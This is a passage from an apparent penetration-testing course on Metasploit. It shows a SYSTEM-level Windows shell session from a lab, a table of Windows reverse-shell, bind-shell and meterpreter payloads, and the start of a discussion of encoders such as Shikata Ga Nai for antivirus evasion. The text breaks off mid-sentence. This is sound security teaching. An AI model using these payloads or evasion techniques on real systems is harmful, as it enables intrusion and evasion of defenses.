navigate and perform actions on the victim machine. So we see that the commands have
changed, but we have the same privilege level within the system.

MSF - Windows CMD

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.
 C:\Users>dir

dir
Volume in drive C has no label.
Volume Serial Number is A0EF-1911

Directory of C:\Users

21/07/2017 07:56 <DIR> .

21/07/2017 07:56 <DIR> ..
21/07/2017 07:56 <DIR> Administrator
14/07/2017 14:45 <DIR> haris
12/04/2011 08:51 <DIR> Public
0 File(s) 0 bytes
5 Dir(s) 15,738,978,304 bytes free

C:\Users>whoami

whoami
nt authority\system

Let's see what other types of payloads we can use. We will be looking at the most common
ones related to Windows operating systems.

Payload Types
The table below contains the most common payloads used for Windows machines and their
respective descriptions.

Payload Description
generic/custom Generic listener, multi-use
generic/shell_bind_tcp Generic listener, multi-use, normal shell, TCP
connection binding
generic/shell_reverse_tcp Generic listener, multi-use, normal shell, reverse
TCP connection
windows/x64/exec Executes an arbitrary command (Windows x64)
windows/x64/loadlibrary Loads an arbitrary x64 library path
windows/x64/messagebox Spawns a dialog via MessageBox using a
customizable title, text & icon
windows/x64/shell_reverse_tcp Normal shell, single payload, reverse TCP
connection
 Payload Description
windows/x64/shell/reverse_tcp Normal shell, stager + stage, reverse TCP
connection
windows/x64/shell/bind_ipv6_tcp Normal shell, stager + stage, IPv6 Bind TCP
stager
windows/x64/meterpreter/$ Meterpreter payload + varieties above
windows/x64/powershell/$ Interactive PowerShell sessions + varieties above
windows/x64/vncinject/$ VNC Server (Reflective Injection) + varieties
above

Other critical payloads that are heavily used by penetration testers during security
assessments are Empire and Cobalt Strike payloads. These are not in the scope of this
course, but feel free to research them in our free time as they can provide a significant
amount of insight into how professional penetration testers perform their assessments on
high-value targets.

Besides these, of course, there are a plethora of other payloads out there. Some are for
specific device vendors, such as Cisco, Apple, or PLCs. Some we can generate ourselves
using msfvenom . However, next up, we will look at Encoders and how they can be used to
influence the attack outcome.

Encoders

Over the 15 years of existence of the Metasploit Framework, Encoders have assisted with
making payloads compatible with different processor architectures while at the same time
helping with antivirus evasion. Encoders come into play with the role of changing the
payload to run on different operating systems and architectures. These architectures include:

x64 x86 sparc ppc mips

They are also needed to remove hexadecimal opcodes known as bad characters from the
payload. Not only that but encoding the payload in different formats could help with the AV
detection as mentioned above. However, the use of encoders strictly for AV evasion has
diminished over time, as IPS/IDS manufacturers have improved how their protection
software deals with signatures in malware and viruses.

Shikata Ga Nai ( SGN ) is one of the most utilized Encoding schemes today because it is so
hard to detect that payloads encoded through its mechanism are not universally
undetectable anymore. Far from it. The name ( 仕